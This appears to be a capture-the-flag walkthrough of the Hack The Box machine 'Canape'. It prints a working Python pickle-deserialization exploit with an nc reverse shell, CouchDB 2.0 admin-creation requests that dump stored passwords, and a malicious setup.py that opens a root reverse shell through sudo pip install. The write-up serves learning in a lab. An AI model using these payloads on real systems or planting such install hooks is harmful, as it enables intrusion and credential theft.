I really enjoyed this box a lot as it took some creative thinking to get the initial shell and required analyzing and writing some python. Lot’s of new things I hadn’t been exposed to either so it was a great learning experience.
Enumeration
Nmap to kick things off.
root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT
Nmap scan report for 10.10.10.70
Host is up (0.053s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
65535/tcp open unknown
Let’s run nmap scripts and service detection on the two open ports.
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT
Nmap scan report for 10.10.10.70
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap has found us a Git repository as well as an SSH port on 65535.
We can clone the Git repository one of two ways. The easy way is just using git clone
after updating /etc/hosts
with an entry for git.canape.htb.
root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git
Cloning into 'simpsons'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 18), reused 0 (delta 0)
Unpacking objects: 100% (49/49), done.
Or if that simpsons.git
file wasn’t exposed we could use wget
to get the job done.
root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/
Then we can cd
into the repository and do a git checkout
.
root@kali:~/htb/canape/10.10.10.70# git checkout -- .
root@kali:~/htb/canape/10.10.10.70# ls -al
total 28
drwxr-xr-x 5 root root 4096 Apr 26 13:26 .
drwxr-xr-x 3 root root 4096 Apr 26 13:24 ..
drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git
-rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py
-rw-r--r-- 1 root root 207 Apr 26 13:24 robots.txt
drwxr-xr-x 4 root root 4096 Apr 26 13:26 static
drwxr-xr-x 2 root root 4096 Apr 26 13:26 templates
Looking at __init__.py
we can see we’re dealing with a Flask app.
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
Alright so there’s a bit of code to sift through and a few different web pages. /submit
takes two variables, char
and quote
. char
is fed through the whitelist of characters to ensure that it contains one of those characters. quote
doesn’t have any restrictions as far as content goes. Both of these variables are then hashed using md5 for a filename that is written to /tmp/
.
/check
is where we can see it taking an input under the id
parameter and using it to open a file under /tmp
with that id. Now here’s the interesting part. If p1
is in that file, it will use cPickle to load it (aka deserialize it). If you aren’t familiar with pickle in python, then do read up on it, but basically it is used for serializing data into bytes, and then can be used for deserializing. If you read the documentation on it, they clearly state it should not be fed data that cannot be verified as secure.
So with all of this in mind, we can send serialized code into the quote
field and have cPickle deserialize it and execute.
Let’s start simple and verify that we can grab data stored in a file under /tmp
. We can first submit the name homer under the char
field along with test under the quote
field, either through the browser on the page or you can use curl to do the job. Now we’ll need to hash those values combined to get our filename hash to submit under id
on the /check
page.
Using the source code from __init__.py
we can reuse the code to get what we need.
root@kali:~# python
Python 2.7.14+ (default, Dec 5 2017, 15:17:02)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from hashlib import md5
>>> char = "homer"
>>> quote = "test"
>>> p_id = md5(char + quote).hexdigest()
>>> p_id
'27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
With curl and we can POST to /check
and verify.
root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
Still reviewing: homertest
Notice that it’s concatenating the two values together, we’ll need to keep this in mind for our exploit. Alright we’ve got that part figured out, now we need to get serialized data into the quote
field. We can do this with cPickle and it’s dump
function. There’s a good article here that explains how to do this using a class in python.
So we basically need to do a few things to get code execution.
- Serialize code to execute using cPickle and submit it under
quote
- Hash the
char
andquote
fields we submit using md5 to use to recall the payload - Submit a POST request to
/check
using the md5 hash created earlier as the value forid
Let’s write up an exploit to help automate all of this.
import cPickle
from hashlib import md5
import os
import requests
import urllib
class shell(object):
def __reduce__(self):
return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",))
quote = cPickle.dumps(shell())
char = "(S'homer'\n"
p_id = md5(char + quote).hexdigest()
submit_url = "http://10.10.10.70/submit"
check_url = "http://10.10.10.70/check"
client = requests.session()
post_data = [('character',char), ('quote',quote)]
post_request = client.post(submit_url, data=post_data)
post2_data = [('id',p_id)]
post2_request = client.post(check_url, data=post2_data)
Let’s break this code down.
We first start off by importing all the necessary modules we need, then defining a class object which executes a reverse shell utilzing the mknod
method, since most likely nc -e
isn’t on the box.
Next we use cPickle to serialize our code to execute and put it in the quote
variable.
Now here is an interesting part that took a while to figure out. We know that we have to have a character in the whitelist submitted under char
. However if we submit this string as is it will cause our code to not execute when deserialized. So what we can do is essentially make char
a string to be deserialized in cPickle which will make it valid non-executable code by adding (S'
to the front of the string. We also add \n
for the line break to prevent the concatenation we saw earlier. If you’re wondering how I came up with this, you can view the deserialized data in a python terminal to see what cPickle dumps and you get something like this:
cposix
system
p1
(S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe'
p2
tp3
Rp4
Notice how our mknod string is prefaced with (S'
and the closed with a single quote. There may be other ways, but this method gets the job done.
Moving back to our python script, we then hash both char
and quote
combined and store as a variable in p_id
to call later.
Next we define both of our URLs to POST to.
Then using the requests module we create a client for POST’ing and first POST to submit
with both char
and quote
as data.
Finally we POST to /check
with id
as our data to execute the code.
Using a netcat listener we can catch our shell after running our script.
root@kali:~/htb/canape# python script.py
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@canape:/$
Whew!
Privilege Escalation to homer
We have a shell as www-data but we’ll need to escalate to homer to grab user.txt. Looking back at our source code from earlier we can see the Flask app connecting to a couchdb instance on localhost port 5984. We can use curl to verify connectivity and grab the version.
www-data@canape:/$ curl -X GET http://127.0.0.1:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
Let’s do a general query to grab all the databases currently in couchdb.
www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
<ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
If we try to access the password db’s contents we get access denied.
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs
{"error":"unauthorized","reason":"You are not authorized to access this db."}
Luckily the couchdb 2.0 version is vulnerable and allows us to create an admin user by bypassing input validation. You can read up on that here.
Our payload to do this looks like such.
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}'
{"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}
Now we can query the databases by prefacing our url with username:password format.
www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
To query individual items in the db, we can simply append the id value on the end of the URL.
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
Homer’s password is ours!
We can SSH in on port 65535.
root@kali:~/htb/canape# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5
homer@canape:~$
Root Privilege Escalation
If we check homer’s sudo permissions we can see he’s able to run pip install
as root.
homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py
file on our attacking box with the following.
import os
import pty
import socket
from setuptools import setup
from setuptools.command.install import install
class MyClass(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.14", 443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
setup(
cmdclass={
"install": MyClass
}
)
This basically just tells pip to run MyClass at install, which will send us a reverse shell.
Now we’ll need to package it.
root@kali:~/htb/canape# python setup.py sdist
By default it creates a UNKNOWN-0.0.0.tar.gz
file under dist
, which we can copy out and rename as shell.tar.gz
then copy to our victim.
homer@canape:~$ wget http://10.10.14.14/shell.tar.gz
--2018-04-27 12:23:05-- http://10.10.14.14/shell.tar.gz
Connecting to 10.10.14.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/gzip]
Saving to: ‘shell.tar.gz’
shell.tar.gz 100%[=================================================>] 775 --.-KB/s in 0s
2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]
Now we can start a netcat listener and run sudo
with pip install
.
homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ...
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420
root@canape:/tmp/pip-bz9te7-build#
Finished!